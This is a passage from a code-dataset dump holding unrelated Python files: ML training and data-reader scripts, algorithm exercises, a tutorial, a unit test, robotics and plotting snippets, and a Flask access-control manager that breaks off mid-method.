自定义data_reader\n '''\n def reader():\n with open(file_list, 'r', encoding='utf-8') as f:\n lines = [line.strip() for line in f]\n for line in lines:\n img_path, lab = line.strip().split('\\t')\n print(img_path)\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n img = np.array(img).astype('float32')\n img = img/255.0\n yield img, int(lab) \n return reader\n\n\n'''\n参数初始化\n'''\nsrc_path=train_parameters['src_path']\ntarget_path=train_parameters['target_path']\ntrain_list_path=train_parameters['train_list_path']\neval_list_path=train_parameters['eval_list_path']\nbatch_size=train_parameters['train_batch_size']\n'''\n解压原始数据到指定路径\n'''\nunzip_data(src_path,target_path)\n\n#每次生成数据列表前,首先清空train.txt和eval.txt\nwith open(train_list_path, 'w') as f: \n f.seek(0)\n f.truncate() \nwith open(eval_list_path, 'w') as f: \n f.seek(0)\n f.truncate() \n \n#生成数据列表 \nget_data_list(target_path,train_list_path,eval_list_path)\n\n'''\n构造数据提供器\n'''\ntrain_reader = paddle.batch(data_reader(train_list_path),\n batch_size=batch_size,\n drop_last=True)\neval_reader = paddle.batch(data_reader(eval_list_path),\n batch_size=batch_size,\n drop_last=True)\n\n\nBatch=0\nBatchs=[]\nall_train_accs=[]\n\n\nfor batch_id,data in enumerate(train_reader()):\n images=np.array([x[0].reshape(1,20,20) for x in data],np.float32)\n labels = np.array([x[1] for x in data]).astype('int64')\n labels = labels[:, np.newaxis]\n print(labels.shape)\n print(images.shape)","sub_path":"refactor/testReader.py","file_name":"testReader.py","file_ext":"py","file_size_in_byte":7005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"411243516","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 3 09:51:06 2017\n\n@author: DKjack\n\"\"\"\n\n##Scientific Computing with Python3 main in Spysder\n#Since 11.2016iimport \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nimport os\n\n\n#modules and Scipts\n\ndef f(x):\n return 2**x +1\n\nz = []\nfor x in range(10):\n if f(x) >4:\n z.append(x)\n else:\n z.append(-1)\n \nprint(z)\nprint(os.getcwd())\n#Using modules and nameSpaces\nfrom smartfunctions import *\nimport smartfunctions as sf\nprint(sf.f(2))\nfrom smartfunctions import g\nprint(g(2))\n\n##Chapter2 Variables and Basic Types\nN = 10\n#following vector contains the Nth roots of unity:\nunity_roots = np.array([np.exp(1j*2*np.pi*k/N) for k in range(N)])\n#access all the real or imaginary parts with real or imag:axes(aspect = 'equal')\n#plt.plot(unity_roots.real, unity_roots.imag, 'o')\nnp.allclose(unity_roots**N, 1) #Ture\n#Your need to add modules included in you functions\n##In is ones functions is still a problem to us\n\n##Chapter 3 Container Types:\n#lists\nL = ['a',20.0,5]\nM = [3,['a',-3.0, 5]]\nl=list(range(4))\nprint (l)\n\n#Slicing;切片\nL2 = ['C','l','o','u','d','s']\n \na = [1,2,3]\nfor iteration in range(4):\n print(sum(a[0:iteration-1]))\n \n#Strides:截取\nL3 =list(range(100))\nL3[:10:2]\nL3[10:20:3]\n#use Strides to resvered order\nL4 = list(range(5))\nR = L4[::-1]\nprint(R)\n# Some List methods: \n#list.append(x);\n#list.expend(L);\n#list.insert(i,x);\n#list.remove(x);\n#list.count(x)\n#list.sort(x)\n#list.resverse()\n#list.pop()\n\n#In-place operations\nprint(L4)\nL4.reverse()\nprint(L4)\nL5 = [6,5,7,5,2,1,3,6,7]\nprint(L5)\nL5.sort()#这个排序是在内部排序使用有专门的使用方法和关键字\nprint(L5)\n#Zip opertion\nindex = [0,1,2,3,4]\nname = ['zhou','chen','john','li']\n#print(list(zip(name,index)))\n\n#Arrays :\nM = np.array([[1,2,3],[3,4,5]])\nv = np.array([[4,5],[6,7]])\n#this two Matrix\n\n#Tuples\nmy_tuple = (1,2,3)\n\n\n#Dictionaries \n#Creating and altering dictionaries:\ntruck_wheel = {'name' : 'wheel',\n 'mass' : 5.70,\n 'Ix' :20.0,\n 'Iy' :1.,\n 'Iz' :17.0,\n 'center of mass' : [0.,0.,0.]}\n#for key in truck_wheel.values():\n #print (key)\n \n#for item in truck_wheel.items():\n #print(item)\n \n#Sets\nA = {1,2,3,5,7,100}\nB= {2,4,6,8}\nC = A.union(B)\nD = A.intersection(C)\nE = C.difference(A)\nprint(C)\nprint(D)\nprint(E)\n\n\n\n","sub_path":"example/S_C_Chapter1.py","file_name":"S_C_Chapter1.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"199283922","text":"from os.path import dirname, join\nfrom unittest import TestCase\n\nfrom elex3.lib.parser import parse_and_clean\n\n\nclass TestParser(TestCase):\n\n def test_name_parsing(self):\n \"Parser should split full candidate name into first and last names\"\n path = join(dirname(__file__), 'sample_results.csv')\n results = parse_and_clean(path)\n race_key = 'President'\n cand_key = 'GOP-Smith, Joe'\n # Get one county result\n smith = results[race_key][cand_key][0]\n self.assertEqual(smith['first_name'], 'Joe')\n self.assertEqual(smith['last_name'], 'Smith')\n","sub_path":"elex3/tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"22066447","text":"__author__ = 'Sam Davies'\nfrom planning.strategies.strategy import Strategy\n\n\nclass FetchBall(Strategy):\n\n def __init__(self, world, robot_tag, actual_robot, config=None):\n super(FetchBall, self).__init__(world, robot_tag, actual_robot, config)\n self.m.add_state(\"Start\", self.start_trans)\n self.m.add_state(\"Grabber is Open\", self.grabber_is_open_trans)\n\n # End States / Actions\n self.m.add_final_state_and_action(\"Open Grabber\", self.other.raise_cage)\n self.m.add_final_state_and_action(\"Move to Ball\", self.move.move_robot_to_ball)\n self.m.add_final_state_and_action(\"Turn to Ball\", self.turn.turn_robot_to_ball)\n\n # set start state\n self.m.set_start(\"Start\")\n\n def act(self):\n self.fetch_world_state()\n\n action_state = self.m.run()\n return self.m.do_action(action_state)\n\n # ------------------------------------ Transitions ------------------------------------\n\n def start_trans(self):\n if self.world.do_refresh_kick:\n new_state = \"Open Grabber\"\n else:\n new_state = \"Grabber is Open\"\n return new_state\n\n def grabber_is_open_trans(self):\n if self.is_robot_facing_ball():\n new_state = \"Move to Ball\"\n else:\n new_state = \"Turn to Ball\"\n return new_state\n","sub_path":"planning/strategies/strategy_fetch_ball.py","file_name":"strategy_fetch_ball.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"514341839","text":"# Create a matplotlib chart with a green background.\n#\nimport pyvista\nchart = pyvista.ChartMPL()\nplots = chart.figure.axes[0].plot([0, 1, 2], [2, 1, 3])\nchart.background_color = (0.5, 0.9, 0.5)\nchart.show(interactive=False)\n#\n# Set the active background color to blue and activate the chart.\n#\nchart.active_background_color = 'b'\nchart.show(interactive=True)\n","sub_path":"version/0.39/api/plotting/charts/_autosummary/pyvista-ChartMPL-active_background_color-1.py","file_name":"pyvista-ChartMPL-active_background_color-1.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"252126681","text":"from os.path import join\n\n# ARMCC\nARM_PATH = \"C:/Work/toolchains/ARMCompiler_5.03_117_Windows\"\nARM_BIN = join(ARM_PATH, \"bin\")\nARM_INC = join(ARM_PATH, \"include\")\nARM_LIB = join(ARM_PATH, \"lib\")\n\nARM_CPPLIB = join(ARM_LIB, \"cpplib\")\nMY_ARM_CLIB = join(ARM_PATH, \"lib\", \"microlib\")\n\n# GCC ARM\nGCC_ARM_PATH = \"C:/Program Files (x86)/GNU Tools ARM Embedded/6.2 2016q4/bin\"\n\n# GCC CodeRed\nGCC_CR_PATH = \"C:/Work/toolchains/LPCXpresso_6.1.4_194/lpcxpresso/tools/bin\"\n\n# IAR\nIAR_PATH = \"C:/Work/toolchains/iar_6_5/arm\"\n\nSERVER_ADDRESS = \"127.0.0.1\"\nLOCALHOST = \"127.0.0.1\"\n\n# This is moved to separate JSON configuration file used by singletest.py\nMUTs = {\n}","sub_path":"mbed_settings.py","file_name":"mbed_settings.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"151317355","text":"\r\ndef kadane(a,n):\r\n l_max = a[0]\r\n k_max = a[0]\r\n\r\n for i in range(1,n):\r\n l_max = max(a[i],l_max+a[i])\r\n k_max = max(k_max,l_max)\r\n\r\n return k_max\r\n\r\ndef fn():\r\n n = int(input().strip())\r\n a = list(map(int,input().strip().split()))\r\n neg = 0\r\n\r\n k_max = kadane(a,n)\r\n t_sum = 0\r\n\r\n for i in range(n):\r\n if(a[i] < 0):\r\n neg += 1\r\n t_sum += a[i]\r\n a[i] = -a[i]\r\n\r\n if(neg == n):\r\n return k_max\r\n\r\n c_max = t_sum + kadane(a,n)\r\n\r\n return(max(c_max,k_max))\r\n \r\n \r\nfor _ in range(int(input().strip())):\r\n print(fn())\r\n","sub_path":"python/Max_Circular_Subarray_Sum_O(n)_solution.py","file_name":"Max_Circular_Subarray_Sum_O(n)_solution.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373626336","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\nimport cv2\nimport numpy as np\nimport pkg_resources\nimport tensorflow as tf\nfrom tensorflow.python.saved_model import tag_constants\nimport os\n\nFACES_PATH = '../data/face_detection/faces/'\n\n\n# In[5]:\n\n\n# Load the TensorBoard notebook extension\n#get_ipython().run_line_magic('load_ext', 'tensorboard')\nimport datetime\n\n# Clear any logs from previous runs\n#get_ipython().system('rm -rf ./logs/ ')\n\n\n# In[6]:\n\n\nclass PNet(tf.keras.Model):\n def __init__(self):\n super(PNet, self).__init__(name=\"PNet\")\n # Define layers here.\n self.conv1 = tf.keras.layers.Conv2D(10, (3, 3), name=\"conv1\")\n self.prelu1 = tf.keras.layers.PReLU(tf.constant_initializer(0.25), shared_axes=[1, 2], name=\"prelu1\")\n self.pool1 = tf.keras.layers.MaxPooling2D((2, 2), name=\"pool1\")\n self.conv2 = tf.keras.layers.Conv2D(16, (3, 3), name=\"conv2\")\n self.prelu2 = tf.keras.layers.PReLU(tf.constant_initializer(0.25), shared_axes=[1, 2], name=\"prelu2\")\n self.conv3 = tf.keras.layers.Conv2D(32, (3, 3), name=\"conv3\")\n self.prelu3 = tf.keras.layers.PReLU(tf.constant_initializer(0.25), shared_axes=[1, 2], name=\"prelu3\")\n self.cls_output = tf.keras.layers.Conv2D(2, (1, 1), activation=\"softmax\", name=\"conv4-1\")\n self.bbox_pred = tf.keras.layers.Conv2D(4, (1, 1), name=\"conv4-2\")\n #self.landmark_pred = keras.layers.Conv2D(10, (1, 1), name=\"conv4_3\")\n\n def call(self, inputs):\n # Define your forward pass here,\n # using layers you previously defined (in `__init__`).\n scores = None\n\n x = self.conv1(inputs)\n x = self.prelu1(x)\n x = self.pool1(x)\n x = self.conv2(x)\n x = self.prelu2(x)\n x = self.conv3(x)\n x = self.prelu3(x)\n scores = [self.cls_output(x), self.bbox_pred(x)]#, self.landmark_pred(x)]\n \n return scores\n\n\n# ## Dataset iterator\n\nclass Dataset(object):\n def __init__(self, X, y, batch_size, shuffle=False):\n \"\"\"\n Construct a Dataset object to iterate over data X and labels y\n \n Inputs:\n - X: Numpy array of data, of any shape\n - y: Numpy array of labels, of any shape but with y.shape[0] == X.shape[0]\n - batch_size: Integer giving number of elements per minibatch\n - shuffle: (optional) Boolean, whether to shuffle the data on each epoch\n \"\"\"\n assert X.shape[0] == y.shape[0], 'Got different numbers of data and labels'\n self.X, self.y = X, y\n self.batch_size, self.shuffle = batch_size, shuffle\n\n def __iter__(self):\n N, B = self.X.shape[0], self.batch_size\n idxs = np.arange(N)\n if self.shuffle:\n np.random.shuffle(idxs)\n return iter((self.X[i:i+B], self.y[i:i+B]) for i in range(0, N, B))\n\n\n\n# Set up some global variables\nUSE_GPU = False\n\nif USE_GPU:\n devicedevice = '/device:GPU:0'\nelse:\n device = '/cpu:0'\nprint('Using device: ', device)\n\n\n# Test the PNet to ensure that the implementation does not crash and produces outputs of the expected shape.\n# Pnet will output are:\n# 1. Face classification, size (batch,1,1,2) for 2 calss classification, \"Face\", and \"Not face\"\n# 2. Bounding box (batch,1,1,4) for 4 boundind box corrdinates (x,y,w,h)\n\ndef test_PNet(batch=64):\n model = PNet()\n with tf.device(device):\n x = tf.zeros((batch, 12, 12, 3))\n classification_scores, bbox_score = model(x)\n print(model.summary())\n print('\\nP-Net output size testing: \\nclassificatin score output', classification_scores.shape,\n '\\nbounding box score output', bbox_score.shape)\n\nbatch_test = 32\ntest_PNet(batch_test)\n\n\n\n# Read Dataset\n\ntraining_size = 5000\n\ndef read_pos_images():\n #Read positive images:\n path, __, filenames = next(os.walk(FACES_PATH+'pos_train/'))\n file_count = training_size #len(filenames)\n images = np.empty([0,12,3])\n for i in range(file_count):\n j=i+1\n img=cv2.imread(f\"{path}{j}.bmp\")\n images=np.append(images,img,axis=0)\n #Create list of probabilities:\n prob=[]\n for i in range(file_count):\n prob.append([[[0.0,1.0]]])\n #Create list of coordinates:\n coordinates=[]\n file = open(FACES_PATH+'coordinates.txt','r')\n lines = file.readlines()\n lines = [line[:-1] for line in lines]\n idx=[1,0,3,2]\n for line in lines:\n line = line.split(\" \")\n line = line[1]\n line=line[1:-1]\n line = line.split(\",\")\n #Transpose coordinates\n x=0\n nline=[]\n for i in idx:\n nline.append(line[i])\n x=x+1\n line=[[[float(c) for c in nline]]]\n coordinates.append(line)\n #Return images, probs, and coordinates\n return images, prob, coordinates\n\ndef read_neg_images():\n #Read negative images:\n path, __, filenames = next(os.walk(FACES_PATH+'neg_train/'))\n file_count = training_size #len(filenames)\n images = np.empty([0,12,3])\n for i in range(file_count):\n j=i+1\n img=cv2.imread(f\"{path}{j}.bmp\")\n images=np.append(images,img,axis=0)\n #Create list of probabilities:\n prob=[]\n for i in range(file_count):\n prob.append([[[1.0,0.0]]])\n #Create list of coordinates:\n coordinates=[]\n for i in range(file_count):\n coordinates.append([[[0.0,0.0,0.0,0.0]]])\n #Return images, prob, coordinates\n return images, prob, coordinates\n\n#Read in all images, probabilities, and coordinates\npimages, pprob, pcoordinates = read_pos_images()\nnimages, nprob, ncoordinates = read_neg_images()\no_images=np.append(pimages,nimages,axis=0)\no_images=np.reshape(o_images,(-1,12,12,3))\no_prob=pprob+nprob\no_coordinates=pcoordinates+ncoordinates\n\n#Shuffle them up using an index\nidx=np.arange(len(o_prob))\nnp.random.shuffle(idx)\nimages=np.empty_like(o_images)\nc=0\nfor i in idx:\n images[c]=o_images[i]\n c=c+1\n#images=(np.float32)(images-127.5)/128.0\nimages=(np.float32)(images)/255\n\n#images = np.transpose(images, (0, 2, 1, 3)) #Transpose images\nprob=[]\nfor i in idx:\n prob.append(o_prob[i])\ncoordinates=[]\nfor i in idx:\n coordinates.append(o_coordinates[i])\n\nprint('X_train , Image batch shape ', images.shape)\nprint('y_train , Classification ground true batch shape ' ,np.array(prob).shape)\nprint('y_train , Coordinates ground true batch shape ', np.array(coordinates).shape)\n\n\nX_data = images\ndel(images)\ny_data = np.concatenate((np.array(prob), np.array(coordinates)), axis=3)\n\n# ## Divide dataset to \"train', \"val\" and \"test\"\ndef load_data(X, y, training_prec = 0.7, val_prec = 0.1, test_prec = 0.2):\n data_length = len(X)\n num_training = np.int(data_length * training_prec)\n num_validation = np.int(data_length * val_prec)\n \n mask = range(num_training)\n X_train = X[mask]\n y_train = y[mask]\n mask = range(num_training, num_training + num_validation)\n X_val = X[mask]\n y_val = y[mask]\n mask = range(num_training + num_validation, data_length)\n X_test = X[mask]\n y_test = y[mask]\n \n return X_train, y_train, X_val, y_val, X_test, y_test\n\n\nX_train, y_train, X_val, y_val, X_test, y_test = load_data(X_data, y_data)\nprint('Train data shape: ', X_train.shape)\nprint('Train labels shape: ', y_train.shape, y_train.dtype)\nprint('Validation data shape: ', X_val.shape)\nprint('Validation labels shape: ', y_val.shape)\nprint('Test data shape: ', X_test.shape)\nprint('Test labels shape: ', y_test.shape)\n\n\ntrain_dset = Dataset(X_train, y_train, batch_size=64, shuffle=True)\nval_dset = Dataset(X_val, y_val, batch_size=64, shuffle=False)\ntest_dset = Dataset(X_test, y_test, batch_size=64)\n\n\n\ndef train(model_init_fn, optimizer_init_fn, num_epochs=1, is_training=False):\n \"\"\"\n Simple training loop for use with models defined using tf.keras. It trains\n a model for one epoch on training set and periodically checks\n accuracy on the validation set.\n \n Inputs:\n - model_init_fn: A function that takes no parameters; when called it\n constructs the model we want to train: model = model_init_fn()\n - optimizer_init_fn: A function which takes no parameters; when called it\n constructs the Optimizer object we will use to optimize the model:\n optimizer = optimizer_init_fn()\n - num_epochs: The number of epochs to train for\n \n Returns: Nothing, but prints progress during trainingn\n \"\"\" \n with tf.device(device):\n \n #Set up summary writers to write the summaries to disk in a different logs directory:\n current_time = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n train_log_dir = 'logs/gradient_tape/' + current_time + '/train'\n test_log_dir = 'logs/gradient_tape/' + current_time + '/test'\n train_summary_writer = tf.summary.create_file_writer(train_log_dir)\n test_summary_writer = tf.summary.create_file_writer(test_log_dir)\n \n #compute the loss function over the classification and ovr bounding box \n classification_loss = tf.keras.losses.BinaryCrossentropy()\n bbox_loss = tf.keras.losses.MeanSquaredError() \n \n model = model_init_fn()\n optimizer = optimizer_init_fn()\n \n train_loss = tf.keras.metrics.BinaryCrossentropy(name='train_classification_loss')\n train_bbox_loss = tf.keras.metrics.MeanSquaredError(name='train_bbox_loss')\n \n train_accuracy = tf.keras.metrics.BinaryAccuracy(name='train_accuracy')\n \n #val_loss = tf.keras.metrics.Mean(name='val_loss')\n val_loss = tf.keras.metrics.BinaryCrossentropy(name='val_classification_loss')\n val_bbox_loss = tf.keras.metrics.MeanSquaredError(name='val_bbox_loss')\n\n val_accuracy = tf.keras.metrics.BinaryAccuracy(name='val_accuracy')\n \n t = 0\n for epoch in range(num_epochs):\n \n # Reset the metrics - https://www.tensorflow.org/alpha/guide/migration_guide#new-style_metrics\n train_loss.reset_states()\n train_bbox_loss.reset_states()\n \n train_accuracy.reset_states()\n \n for x_np, y_np in train_dset:\n with tf.GradientTape() as tape:\n \n # Use the model function to build the forward pass.\n classification_scores, bbox_scores = model(x_np, training=True)\n prediction_loss = classification_loss(y_np[:,:,:,:2], classification_scores)\n coordinate_loss = bbox_loss(y_np[:,:,:,2:], bbox_scores)\n loss = prediction_loss + 0.5 * coordinate_loss * y_np[:,:,:,1]\n # Print loss \n gradients = tape.gradient(loss, model.trainable_variables)\n optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n \n # Update the metrics\n train_loss.update_state(y_np[:,:,:,:2], classification_scores)\n train_bbox_loss.update_state(y_np[:,:,:,2:], bbox_scores*y_np[:,:,:,1] )\n train_accuracy.update_state(y_np[:,:,:,:2], classification_scores)\n \n with train_summary_writer.as_default():\n tf.summary.scalar('loss', train_loss.result(), step=epoch)\n tf.summary.scalar('accuracy', train_accuracy.result(), step=epoch)\n\n\n if t % print_every == 0:\n val_loss.reset_states()\n val_bbox_loss.reset_states()\n val_accuracy.reset_states()\n for test_x, test_y in val_dset:\n # During validation at end of epoch, training set to False\n classification_scores, bbox_scores = model(test_x, training=False)\n t_prediction_loss = classification_loss(test_y[:,:,:,:2], classification_scores)\n t_coordinate_loss = bbox_loss(test_y[:,:,:,2:], bbox_scores)\n t_loss = t_prediction_loss + 0.5 * t_coordinate_loss * test_y[:,:,:,1]\n\n val_loss.update_state(test_y[:,:,:,:2], classification_scores)\n val_bbox_loss.update_state(test_y[:,:,:,2:], bbox_scores*test_y[:,:,:,1])\n val_accuracy.update_state(test_y[:,:,:,:2], classification_scores)\n \n with test_summary_writer.as_default():\n tf.summary.scalar('loss', val_loss.result(), step=epoch)\n tf.summary.scalar('accuracy', val_accuracy.result(), step=epoch)\n\n \n template = 'Iteration {}, Epoch {}, \\nLoss: {}, Bbox loss: {}, Accuracy: {},\\nVal Loss: {}, Val Bbox Loss: {}, Val Accuracy: {}'\n print (template.format(t, epoch+1,\n train_loss.result(),\n train_bbox_loss.result(),\n train_accuracy.result()*100,\n val_loss.result(),\n val_bbox_loss.result(), \n val_accuracy.result()*100))\n t += 1\n return model\n\n\nprint_every = 10\nnum_epochs = 150\n\ndef model_init_fn():\n return PNet()\n\ndef optimizer_init_fn():\n learning_rate = 1e-3\n return tf.keras.optimizers.Adam(learning_rate) \n #return tf.keras.optimizers.SGD(lr=learning_rate, momentum=0.9, nesterov=True)\n \nmodel = train(model_init_fn, optimizer_init_fn, num_epochs=num_epochs, is_training=True)\n\n# Test data\npredictions = model.predict(X_test)\n\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nscore = predictions[0]\nbbox = predictions[1]\n\nscore = np.squeeze(score)\nbbox = np.squeeze(score)\n\ny_test_score = np.squeeze(y_test[:,:,:,:2])\ny_test_bbox = np.squeeze(y_test[:,:,:,2:])\n\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n\nprint(classification_report(y_test_score, np.round(score)))\nprint(confusion_matrix(y_test_score[:,1:2], np.round(score[:,1:2])))\n\n\n\n\n\n","sub_path":"PNet_Training.py","file_name":"PNet_Training.py","file_ext":"py","file_size_in_byte":14298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"543469158","text":"class Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n size = len(s)\n if size == 0:\n return 0\n if size == 1:\n return 1\n\n prev = \"\"\n cur = \"\"\n\n for i in range(size):\n if s[i] not in cur:\n cur += s[i]\n else:\n if len(prev) < len(cur):\n prev = cur\n \"\"\"\n get first occurance of repeating char in cur string by finding\n its index and then splicing string from next index till end of\n string to get new cur string and append repeating char and proceed.\n \"\"\"\n index = cur.find(s[i])\n cur = cur[(index+1):len(cur)]\n cur += s[i]\n prev = cur if len(cur) > len(prev) else prev\n return len(prev)\n","sub_path":"lengthOfLongestSubstring.py","file_name":"lengthOfLongestSubstring.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"386042587","text":"import cv2\nimport numpy as np\n\nfrom psd_tools import PSDImage\n\n\n# psd to png\npsd1 = PSDImage.open('200×800.ai.psd')\npsd1.composite().save('psd_image_to_detect1.png')\n\npsd2 = PSDImage.open('800×200.ai.psd')\npsd2.composite().save(\"psd_image_to_detect2.png\")\n\n# 以灰度形式读入图片\n\npsd_img_1 = cv2.imread('psd_image_to_detect1.png', cv2.IMREAD_GRAYSCALE)\npsd_img_2 = cv2.imread('psd_image_to_detect2.png', cv2.IMREAD_GRAYSCALE)\n\n# SIFT特征计算\n\nsift = cv2.xfeatures2d.SIFT_create()\n\npsd_kp1, psd_des1 = sift.detectAndCompute(psd_img_1, None)\npsd_kp2, psd_des2 = sift.detectAndCompute(psd_img_2, None)\n\n# Flann 特征匹配\n\nFLANN_INDEX_KDTREE = 1\nindex_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\nsearch_params = dict(checks=50)\n\nflann = cv2.FlannBasedMatcher(index_params, search_params)\nmatches = flann.knnMatch(psd_des1, psd_des2, k=2)\ngoodMatch = []\n\nfor m, n in matches:\n # goodMatch是经过筛选的优质配对,如果2个配对中第一匹配的距离小于第二匹配的距离的1/2,基本可以说明这个第一配对是两幅图像中独特的,不重复的特征点,可以保留。\n if m.distance < 0.50*n.distance:\n goodMatch.append(m)\n# 增加一个维度\ngoodMatch = np.expand_dims(goodMatch, 1)\nprint(goodMatch[:20])\n\nimg_out = cv2.drawMatchesKnn(\n psd_img_1, psd_kp1, psd_img_2, psd_kp2, goodMatch[:15], None, flags=2)\n\ncv2.imshow('image', img_out) # 展示图片\ncv2.waitKey(0) # 等待按键按下\ncv2.destroyAllWindows() # 清除所有窗口\n\n","sub_path":"SIFT-match.py","file_name":"SIFT-match.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"46106674","text":"#!/usr/bin/env python\n\"\"\" Access Control for Flask Wrapper. \"\"\"\n\nimport urllib\nfrom copy import deepcopy\nfrom datetime import datetime\nimport flask\nfrom flask import abort, current_app, request, session\nfrom pdm.utils.X509 import X509Utils\n\n\ndef set_session_state(logged_in=False):\n \"\"\" A helper function for changing the flask session state.\n Must be called from a Flask request context.\n Returns None.\n \"\"\"\n session['logged_in'] = logged_in\n\n\nclass ACLManager(object):\n \"\"\" Access Control List manager for Flask Wrapper.\n Keeps a list of users who are allowed to access resources\n and allows or rejects request based on the presented credentials.\n \"\"\"\n\n AUTH_MODE_NONE = 0\n AUTH_MODE_X509 = 1\n AUTH_MODE_TOKEN = 2\n AUTH_MODE_SESSION = 3\n AUTH_MODE_ALLOW_ALL = 4\n\n def __init__(self, logger):\n \"\"\" Create an empty instance of ACLManager (no predfined groups or\n rules. Test mode is disabled by default.\n \"\"\"\n self.__log = logger\n self.__test_mode = ACLManager.AUTH_MODE_NONE\n self.__test_data = None\n self.__groups = {}\n self.__rules = {}\n\n def __check_entry(self, entry, allow_group):\n \"\"\" Checks an entry is in a valid format and expands groups.\n If groups are allowed, then inputting a group entry will\n result in the expanded group entries on the output.\n entry - The entry string to check.\n allow_group - Boolean, on whether to allow group names.\n Raises a ValueError if it isn't valid.\n Returns a list of entries.\n Each returned entry is a tuple of (auth_mode, auth_data).\n \"\"\"\n if entry == \"TOKEN\":\n return [(ACLManager.AUTH_MODE_TOKEN, None)]\n elif entry == \"CERT\":\n return [(ACLManager.AUTH_MODE_X509, None)]\n elif entry == \"SESSION\":\n return [(ACLManager.AUTH_MODE_SESSION, None)]\n elif entry == \"ALL\":\n return [(ACLManager.AUTH_MODE_ALLOW_ALL, None)]\n elif entry.startswith(\"CERT:\"):\n raw_dn = entry.split(':', 1)[1]\n if not \"=\" in raw_dn:\n raise ValueError(\"Bad CERT DN in ACL rule: '%s'\" % entry)\n return [(ACLManager.AUTH_MODE_X509,\n X509Utils.normalise_dn(raw_dn))]\n elif allow_group and entry.startswith(\"@\"):\n group_name = entry[1:]\n if not group_name in self.__groups:\n raise ValueError(\"Unrecognised group used in ACL rule: %s\" % \\\n group_name)\n return deepcopy(self.__groups[group_name])\n raise ValueError(\"Invalid auth entry '%s'.\" % entry)\n\n def add_group_entry(self, group_name, entry):\n \"\"\" Adds an entry to a group, if the group doesn't exist it will be\n created, otherwise it will be appeneded. Note that groups can't\n currently be nested.\n \"\"\"\n entries = self.__check_entry(entry, False)\n if not group_name in self.__groups:\n self.__groups[group_name] = entries\n else:\n self.__groups[group_name].extend(entries)\n\n def add_rule(self, res_path, entry):\n \"\"\" Adds a rule for a specific resource path. The entry can either\n be an existing group or a normal entry value.\n \"\"\"\n if not '%' in res_path:\n res_path = \"%s%%GET\" % res_path\n if res_path in self.__rules:\n raise ValueError(\"Duplicate auth rule for path '%s'.\" % res_path)\n self.__rules[res_path] = self.__check_entry(entry, True)\n\n def test_mode(self, auth_mode, auth_data=None):\n \"\"\" Enabled test mode, where the authentication info is pre-set for\n all requests. This should not be used in production.\n \"\"\"\n self.__test_mode = auth_mode\n self.__test_data = auth_data\n\n @staticmethod\n def __get_real_request_auth():\n \"\"\" Fills the details of the presented credentials into the\n request object.\n \"\"\"\n # Cert auth\n if 'Ssl-Client-Verify' in request.headers \\\n and 'Ssl-Client-S-Dn' in request.headers:\n # Request has client cert\n if request.headers['Ssl-Client-Verify'] == 'SUCCESS':\n raw_dn = request.headers['Ssl-Client-S-Dn']\n request.dn = X509Utils.normalise_dn(raw_dn)\n # Token Auth\n if 'X-Token' in request.headers:\n raw_token = request.headers['X-Token']\n try:\n token_value = current_app.token_svc.check(raw_token)\n # Check if this looks like a standard token with an expiry value\n if isinstance(token_value, dict):\n if 'expiry' in token_value:\n exp_str = token_value['expiry']\n exp_value = datetime.strptime(exp_str, '%Y-%m-%dT%H:%M:%S.%f')\n if exp_value < datetime.utcnow():\n # Token has already expired\n current_app.log.info(\"Request %s token has expired (at %s)\",\n request.uuid, exp_str)\n return \"403 Expired Token\", 403\n request.token = token_value\n request.raw_token = raw_token\n request.token_ok = True\n except ValueError:\n # Token decoding failed, it is probably corrupt or has been\n # tampered with.\n current_app.log.info(\"Request %s token validation failed.\",\n request.uuid)\n return \"403 Invalid Token\", 403\n if 'logged_in' in session:\n if session['logged_in']:\n request.session_ok = True\n\n def __get_fake_request_auth(self):\n \"\"\" Fills the request object with te test (fake) authentication\n details.\n \"\"\"\n if self.__test_mode == ACLManager.AUTH_MODE_X509:\n request.dn = X509Utils.normalise_dn(self.__test_data)\n elif self.__test_mode == ACLManager.AUTH_MODE_TOKEN:\n request.token = self.__test_data\n request.raw_token = self.__test_data\n request.token_ok = True\n elif self.__test_mode == ACLManager.AUTH_MODE_SESSION:\n request.session_ok = True\n\n @staticmethod\n def __matches_rules(rules):\n \"\"\" Checks the current request against a list of expanded rules.\n If the request matches any of the rules, True is returned.\n False is returned if no rules match the current request creds.\n \"\"\"\n for rule in rules:\n rule_mode, rule_data = rule\n if rule_mode == ACLManager.AUTH_MODE_TOKEN:\n if request.token_ok:\n return True\n elif rule_mode == ACLManager.AUTH_MODE_X509:\n if rule_data is not None:\n if rule_data == request.dn:\n return True\n else:\n if request.dn:\n return True\n elif rule_mode == ACLManager.AUTH_MODE_SESSION:\n if 